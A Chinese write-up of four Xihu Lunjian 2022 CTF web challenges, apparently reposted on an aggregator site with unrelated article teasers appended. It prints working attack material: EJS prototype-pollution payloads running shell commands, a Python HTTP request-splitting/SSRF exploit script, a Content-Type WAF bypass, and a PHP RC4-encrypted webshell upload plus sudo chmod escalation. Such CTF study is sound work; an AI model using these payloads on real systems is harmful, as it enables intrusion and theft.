西湖论剑 2022复现

news2024/11/25 22:36:02

目录

<1> [西湖论剑 2022] Node Magical Login

<2> [西湖论剑 2022] real_ez_node(ejs原型链污染&http拆分攻击)

<3> [西湖论剑 2022] 扭转乾坤 (RFC差异绕过header头内容限制)

<4> [西湖论剑 2022] unusual php(IDA拿rce密钥&利用rce密钥构造🐎上传&sudo权限命令利用)


<1> [西湖论剑 2022] Node Magical Login

描述:一个简单的用nodejs写的登录站点(貌似暗藏玄机)

 应该是比赛时题目给了源码,源码在:https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login

main.js 部分源码

app.get("/flag1",(req,res) => {
    controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
    controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
    controller.CheckController(req,res)
})

应该是有两个flag。flag1和flag2

再来看controller.js 部分源码 

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}
function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

根据源码可以知道,访问 / 路由时,即登陆界面,需要满足密码为 Math.random().toString() 随机数,才会给cookie设为SECRET_COOKIE。

访问/flag1路由时,如果cookie为SECRET_COOKIE 就会在返回头里设置flag1和flag2。 显然我们不知道这个随机数是什么,继续往下看。 当cookie 里user值为admin时,可以得到flag1

我们burp抓包,设置cookie访问一下/flag1 得到flag1:NSSCTF{0809d129-5fec

再看和 flag2有关的 CheckInternalController 和 CheckController函数:

function CheckInternalController(req,res) {
    res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了

注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json

返回 flag2:-4169-8c16-3b47f0bb3218}

 NSSCTF{0809d129-5fec-4169-8c16-3b47f0bb3218}

<2> [西湖论剑 2022] real_ez_node(ejs原型链污染&http拆分攻击)

 源码在:https://github.com/CTF-Archives/2022-xhlj-web-real_ez_node/

docker文件中可以看到 node版本是8.1.2,是存在http拆分攻击的(CRLF)

可以参考:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台

 routes/index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];

                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }

                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

看着一处代码:

if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }

这里过滤了 __proto__ ,猜测是考察原型链污染,__proto__被过滤,使用constructor.prototype绕过。

if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }

访问/copy的ip被限制,肯定就是要用 /curl 路由来构造 SSRF 打 /copy 路由下的 原型链污染了。

通过访问 /curl 利用HTTP走私向 /copy 发送POST请求,然后打ejs 污染原型链 实现代码执行

然后就是原型链污染,怎么污染呢?

可以看到存在render,并且使用了模板引擎为ejs

ejs原型链污染的payload如下

{
"__proto__":
{
"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('ls'); //"
}
}

题目里面过滤了__proto__,我们可以用constructor.prototype代替

再来看下这个safeobj.expand(user, index, req.body[index])

let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }

这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了

跟进具体的函数实现

查看一下safeobj模块里的expand方法:

 

 这个库里直接递归按照 . 做分隔写入 obj,很明显可以原型链污染

 也就是我们传入{"a.b":"123"}会进行赋值a.b=123

将污染ejs的payload按上述方式转换为

{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}

 exp脚本如下:

import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 200
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt');var __tmp2//"}

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))
    return ret

payload_enc = payload_encode(payload)
print(payload_enc)
r = requests.get('http://1.14.71.254:28606/curl?q=' + urllib.parse.quote(payload_enc))
print(r.text)

#{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}

加解密参考:从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击

不知道为什么没有通,可能是环境问题,,,,

<3> [西湖论剑 2022] 扭转乾坤 (RFC差异绕过header头内容限制)

直接上传的话,提示

Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.

后端为tomcat,tomcat对于包解析并不是严格按照RFC中的标准,对一些异常的header头内容也会兼容。

利用RFC差异来绕过

修改为Content-Type为multipart//form-data;|大小写兼容|multipart|multipart/  form-data;

参考:从RFC规范看如何绕过waf上传表单 上篇-安全客 - 安全资讯平台

<4> [西湖论剑 2022] unusual php(IDA拿rce密钥&利用rce密钥构造🐎上传&sudo权限命令利用)

没有环境,,,看着wp写一些吧

<?php
if($_GET["a"]=="upload"){
    move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
    echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
    phpinfo();
}

 在phpinfo里得到:

  • 插件目录 /usr/local/lib/php/extensions/no-debug-non-zts-20190902

读 /usr/local/lib/php.ini

在php.ini 找到了 ZendGuard 扩展的文件名 zend_test.so

?a=read&file=php://filter/read=convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

 读回来然后把无关的去掉,再丢进 ida,找到 RC4 函数,里面有秘钥(abcsdfadfjiweur)。

 看起来解析的时候用 abcsdfadfjiweur 作为 key 然后 RC4 解密然后当成 php 去执行

于是我们传个 RC4 加密后的一句话马上去就好 , cyberchef网站

 /etc/sudoers 不可读,但是有个 sudoers.bak

当前的 www-data 用户可以免密执行 chmod,那直接

sudo chmod 777 /flag
cat /flag

 参考:西湖论剑·2022中国杭州网络安全技能大赛 部分WriteUp - 先知社区

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/385116.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DSS 部署环境需求清单

文章目录 DSS系统需求项目地址计算资源计算基准:计算引擎程序硬件需求表 :DSS计算及存储资源需求计算资源计算基准:计算程序硬件需求表:DSS系统需求 项目地址 https://github.com/WeBankFinTech/DataSphereStudio 计算资源计算基准: 1.日活用户10万。 2.单用户单日总…

网络安全怎么学?20年白帽子老江湖告诉你

很多人都知道龙叔是个老程序员&#xff0c;但却不知道其实我也是个H客&#xff0c;20年前我就开始痴迷于H客技术&#xff0c;可以说是网络安全方面的老江湖了。 到现在&#xff0c;我还依然会去研究这一块&#xff0c;偶尔会和一些网安的朋友交流技术&#xff0c;比如说红盟的…

Nginx的三大特点

作为一个 Web 服务器&#xff0c;Nginx 的功能非常完善&#xff0c;完美支持 HTTP/1、HTTPS 和 HTTP/2&#xff0c;而且还在不断进步。 1、进程池 Nginx 作为“轻量级”的服务器&#xff0c;它的 CPU、内存占用都非常少&#xff0c;同样的资源配置下就能够为更多的用户提供服…

Android 绘图基础:Canvas画布——自定义View基础(绘制表盘、矩形、圆形、弧、渐变)

Canvas画布&#xff0c;通过它我们可以自定义一个View&#xff0c;设置View的相关效果之类的。感觉用法差不多&#xff0c;重要的是要理解方法中传入的参数的含义&#xff0c;比如float类型的参数&#xff0c;传递的是坐标,已开是没有注意传入的参数时坐标&#xff0c;导致我迷…

windows编译x265

msys2的安装参考&#xff1a; MSYS2安装_蜡笔小方的博客-CSDN博客 将下载好的x265放入msys2能找到的目录下&#xff1a; 打开msys2&#xff0c;切换到x265/build/msys-cl目录下 其中&#xff0c;build目录下是x265为了各种平台或者不同编译工具配的编译脚本&#xff1f;&…

儿童护目台灯哪种好用?几款真的保护视力的台灯品牌推荐

儿童眼睛还未发育完全&#xff0c;眼睛比较脆弱&#xff0c;但是现在的小孩子学习任务也比较繁重&#xff0c;经常晚上看书写字&#xff0c;所以选择合适的护眼台灯来保护眼睛很重要。 选择儿童护目台灯需要注意以下几个方面&#xff1a; &#xff08;一&#xff09;色温和亮…

图解KMP算法

子串的定位操作通常称作串的模式匹配。你可以理解为在一篇英语文章中查找某个单词是否存在&#xff0c;或者说在一个主串中寻找某子串是否存在。朴素的模式匹配算法假设我们要从下面的主串S "goodgoogle" 中&#xff0c;找到T "google" 这个子串的位置。…

“终于我从腾讯离职了...”一个年薪40W的测试工程师的自白....

”我递上了我的辞职信&#xff0c;不是因为公司给的不多&#xff0c;也不是因为公司待我不好&#xff0c;但是我觉得&#xff0c;我每天看着我憔悴的面容&#xff0c;每天晚上拖着疲惫的身体躺在床上&#xff0c;我都不知道人生的意义&#xff0c;是赚钱吗&#xff1f;是为了更…

哪种蓝牙耳机通话效果好?通话清晰的蓝牙耳机推荐

出门的时候&#xff0c;如果戴耳机和别人通话&#xff0c;就不必把耳机摘下来&#xff0c;接电话变得前所未有的简单。现在的蓝牙耳机&#xff0c;已经不是单纯的用来听音乐了&#xff0c;而是一种更好的功能。下面这四款蓝牙耳机不仅适合听歌&#xff0c;通话还清晰&#xff0…

C++---最长上升子序列模型---最大上升子序列和(每日一道算法2023.3.3)

注意事项&#xff1a; 本题为"线性dp—最长上升子序列的长度"的扩展题&#xff0c;所以dp思路这里就不再赘述。 题目&#xff1a; 比如&#xff0c;对于序列(1,7,3,5,9,4,8)&#xff0c;有它的一些上升子序列&#xff0c;如(1,7),(3,4,8)等。 这些子序列中和最大为…

【Web安全】PHP安全

一、文件包含漏洞严格来说&#xff0c;文件包含就是代码注入的一种。代码注入&#xff0c;其原理就是注入一段用户能控制的脚本或代码并让服务器端执行。代码注入的典型代表就是文件包含。文件包含可能会出现在JSP、PHP、ASP等语言中&#xff0c;常见函数如下&#xff1a;PHP&a…

好记又实用的获取电脑型号方法

个人常用的方法 方法二最好记又好用。 方法一 dxdiag命令 按下键盘WINR调出运行在输入框输入dxdiag命令后&#xff0c;按下回车&#xff1b;进入DirectX诊断工具&#xff0c;便可查看系统型号等信息。 这里就会显示系统型号。 方法二 设备和打印机 控制面板-查看方式-小图…

Kubernetes学习(二)Pod

创建Pod kubectl创建nginx pod 编写 nginx pod的yaml文件 apiVersion: v1 kind: Pod metadata:name: my-nginxlabels:name: my-nginx spec:containers:- image: nginxname: my-nginxresources:limits:memory: "128Mi"cpu: "500m"ports:- name: nginx-po…

周期性温度和压力波的PID自动控制解决方法

摘要&#xff1a;目前各种PID控制器仪表常用于简单的设定点&#xff08;Set Point&#xff09;和斜坡&#xff08;Ramp&#xff09;程序控制&#xff0c;但对于复杂的正弦波等周期性变量的控制则无能为力。为了采用标准PID控制器便捷和低成本的实现对正弦波等周期性变量的自动控…

TiDB Serverless 和技术生态全景

数据库不是单一软件&#xff0c;而是一个生态体系。成为一款好用的数据库&#xff0c;除了产品自身的能力外&#xff0c;繁荣的技术生态体系也至关重要&#xff0c;既可以提升使用体验&#xff0c;又可以降低使用门槛。 PingCAP 在 2022 年 11 月 1 日正式发布了 TiDB Cloud Se…

浏览器的渲染过程解析

文章目录浏览器渲染进程有哪些&#xff1f;浏览器的渲染过程浏览器渲染进程有哪些&#xff1f; GUI线程&#xff1a;负责渲染浏览器页面&#xff0c;解析html&#xff0c;css&#xff0c;构建DOM树&#xff0c;CSS规则树&#xff0c;渲染树和绘制页面&#xff0c;当界面需要重…

Unity使用webSocket与服务器通信(一)搭建一个简单地服务器和客户端

你想在unity WebGL里面使用TCP通信吗&#xff0c;那么你可以用一用webSocket。当然&#xff0c;桌面端也可以使用webSocket&#xff0c;这样Unity多平台发布的时候&#xff0c;业务层的通信代码可以使用一套&#xff0c;而不是桌面用socket&#xff0c;网页用http… 一、什么是…

精选博客系列|VMware 帮助服务提供商构建零碳未来

当谈到可持续发展的未来时&#xff0c;你首先想到的是哪些技术&#xff1f;大多数人会说电动汽车、太阳能电池板或风电场。但是&#xff0c;我们越来越需要将另一种技术放在列表的首位&#xff1a;通信网络。 领先的通信服务提供商 (CSP) 越来越多地致力于环境可持续性的前沿。…

IDCF DevOps黑客马拉松挑战赛(北京 上海 广州 杭州 大连)

IDCF DevOps黑客马拉松&#xff1a;“打造端到端的DevOps人才”&#xff01; “在36小时内从0到1打造并发布一款产品&#xff01;” DevOps实践与敏捷开发正在席卷IT公司&#xff0c;精益创业、设计思维、增长黑客等硅谷创新思维与方法&#xff0c;正在被越来越多具有真知灼见…

RestTemplate使用HttpClient连接池

文章目录RestTemplate使用HttpClient连接池ClientHttpRequestFactorySimpleClientHttpRequestFactorySimpleClientHttpRequestFactory 设置超时时间HttpURLConnection的缺点HttpComponentsClientHttpRequestFactoryPoolingHttpClientConnectionManager配置连接池HttpClient总结…